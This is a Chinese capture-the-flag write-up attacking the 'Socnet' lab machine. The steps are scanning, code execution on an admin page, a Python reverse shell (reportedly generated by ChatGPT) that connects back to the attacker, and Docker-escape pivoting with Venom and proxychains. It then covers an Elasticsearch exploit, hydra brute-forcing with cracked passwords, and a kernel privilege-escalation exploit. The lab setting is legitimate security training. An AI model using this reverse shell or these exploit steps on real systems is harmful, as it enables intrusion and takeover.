首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【靶机】Socnet_wp

【靶机】Socnet_wp

原创
作者头像
Zacarx
发布2023-07-13 16:26:59
发布2023-07-13 16:26:59
2440
举报
文章被收录于专栏:ZacarxZacarx

Socnet_wp

主机发现

nmap -sP 192.168.72.0/24 -T4

image-20230513001448830
image-20230513001448830

通过简单排除,发现主机ip192.168.108.131

端口扫描

先进行粗略的扫描

nmap -p- 192.168.72.129

image-20230513001527521
image-20230513001527521

对发现的两个端口详细扫描

nmap -p 22,5000 192.168.72.129 -A

image-20230513001711553
image-20230513001711553

5000端口有http服务,并且有pyhton2,重点关注。

web渗透

打开一看目测XSS

不过嘛基本素养:先dir扫描

dirb http://192.168.72.129:5000/

image-20230513002014745
image-20230513002014745

发现admin后台

image-20230513002448226
image-20230513002448226

打开一看,貌似是代码执行

image-20230513002545969
image-20230513002545969

主页先扔几个xss看看

image-20230513002733002
image-20230513002733002

没反应,泪目

看看admin,直接搞看不太懂是啥,上burp

image-20230513003535980
image-20230513003535980

没有js代码

上linux命令没啥用,我们试试python2代码,这个信息收集提到过

至于代码,直接问Chatgpt

代码语言:txt
复制
import socket
import os
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.72.128", 1234))

os.dup2(s.fileno(), 0)  
os.dup2(s.fileno(), 1)  
os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])

建立监听

nc -lnvp 1234

nice,拿到shell

image-20230513004312002
image-20230513004312002

值得注意的是,靶机貌似有个bug,当shell连接中断后,我们无法直接再次连接,只能重启靶机,再故技重施

为了避免其他不可避免的错误,编者将环境软件换成了xbox,ip有所变动

kali ip:10.0.2.15

target ip:10.0.2.4

输入id

竟然拿到了root权限,但是事情显然没有这么简单

进入root目录没有flag,find也找不到

于是回到根目录发现.dockerenv

那么我们八成在docker里

image-20230513005016440
image-20230513005016440

docker逃逸

要进行逃逸肯定要扫描一下看看宿主机ip,端口

我们扫描ip可以使用ping并且结合脚本

如:

代码语言:txt
复制
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
image-20230518231926813
image-20230518231926813
image-20230518232517405
image-20230518232517405

发现了另外两个主机172.17.0.1和172.17.0.3

不过,如果在docker里我们没有nmap这种快速检测的工具,那么我们的信息收集工作将很难展开

因此,我们先进行kali对其内网的连接

本次我们使用开源内网穿透工具Venom

项目地址:

https://github.com/Dliv3/Venom/

下载解压后有:

image-20230516204113764
image-20230516204113764

简单的使用说明如下:

admin节点和agent节点均可监听连接也可发起连接

admin监听端口,agent发起连接:

admin.exe -lport 9999

agent.exe -rhost 192.168.72.129 -rport 9999

agent监听端口,admin发起连接:

agent.exe -lport 8888

admin.exe -rhost 192.168.72.130 -rport 8888

因此我们建立一个httpserver

并在docker下载

image-20230516204339821
image-20230516204339821

下载以后,赋予权限

chmod 777 ./agent_linux_x86

然后设置连接

./agent_linux_x86 -rhost 192.168.72.130 -rport 8888

image-20230516205902162
image-20230516205902162

当然,连接之前我们要进行监听

chmod 777 ./admin_linux_x86

./admin_linux_x86 -lport 8888

然后就成功了

image-20230516210032397
image-20230516210032397

建立socks代理 一个1080监听端口

命令很简单,如图:

image-20230516210239913
image-20230516210239913

下面我们用proxychains进行代理

输入sudo vi /etc/proxychains4.conf

在最下面修改下端口,socks4改成socks5,如图

image-20230516210722614
image-20230516210722614

探测一下172.17.0.1

代码语言:txt
复制
proxychains nmap -Pn -sV -sT 172.17.0.1
image-20230518233456578
image-20230518233456578

同样的方法,看一下172.17.0.3

image-20230519000356133
image-20230519000356133

发现Elasticsearch程序,我们查找下看看有无漏洞

image-20230519000546752
image-20230519000546752

我们试一下第一个现成的脚本

image-20230519000738380
image-20230519000738380

将脚本复制到当前目录,查看代码并使用

image-20230519001019280
image-20230519001019280

拿到shell第一件事先信息收集一下

我们看到当前目录有passwords文件

image-20230519001154868
image-20230519001154868

查看一下

image-20230519001227779
image-20230519001227779

我们对其分别解密得到

代码语言:txt
复制
user:
john
test
admin
root
jane

pass:
1337hack
1234test
1111pass
1234pass
1234jane

user和pass分别制成文件,使用hydra爆破

image-20230519001713105
image-20230519001713105
image-20230519001828309
image-20230519001828309

提权

经过信息收集,我们发现其linux内核版本很低

因此我们进行内核提权

image-20230519104353423
image-20230519104353423

searchsploit linux 3.13

image-20230519104724051
image-20230519104724051

打开看一看,search指定的文件路径有错,不是3.c而是37292.c

image-20230519104842752
image-20230519104842752

复制文件到当前路径

cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

由于靶机没有安装gcc我们需要手动编译

且代码部分含有gcc调用的代码,我们也需要删除(137–147行)并且手动运行

image-20230519110035541
image-20230519110035541
image-20230519110547185
image-20230519110547185

编译一下,报错不打紧

再找一下所缺失的ofs-lib.so

image-20230519111035187
image-20230519111035187

python3 -m http.server 888

上传我们编译好的exp和ofs-lib.so

image-20230519111231945
image-20230519111231945
运行发现
image-20230519111406930
image-20230519111406930

搜索报错发现是kali的libc.so版本问题导致靶机无法运行

我们下载较低版本

推荐在下载

代码语言:txt
复制
https://ftp.gnu.org/gnu/glibc/
中科大也有,不过老版本得自行编译安装

解压后用-Ldir指定libcso文件

image-20230519114939541
image-20230519114939541

然后重新操作就行了

image-20230519131030768
image-20230519131030768

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Socnet_wp
    • 主机发现
    • 端口扫描
    • web渗透
    • docker逃逸
    • 提权
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档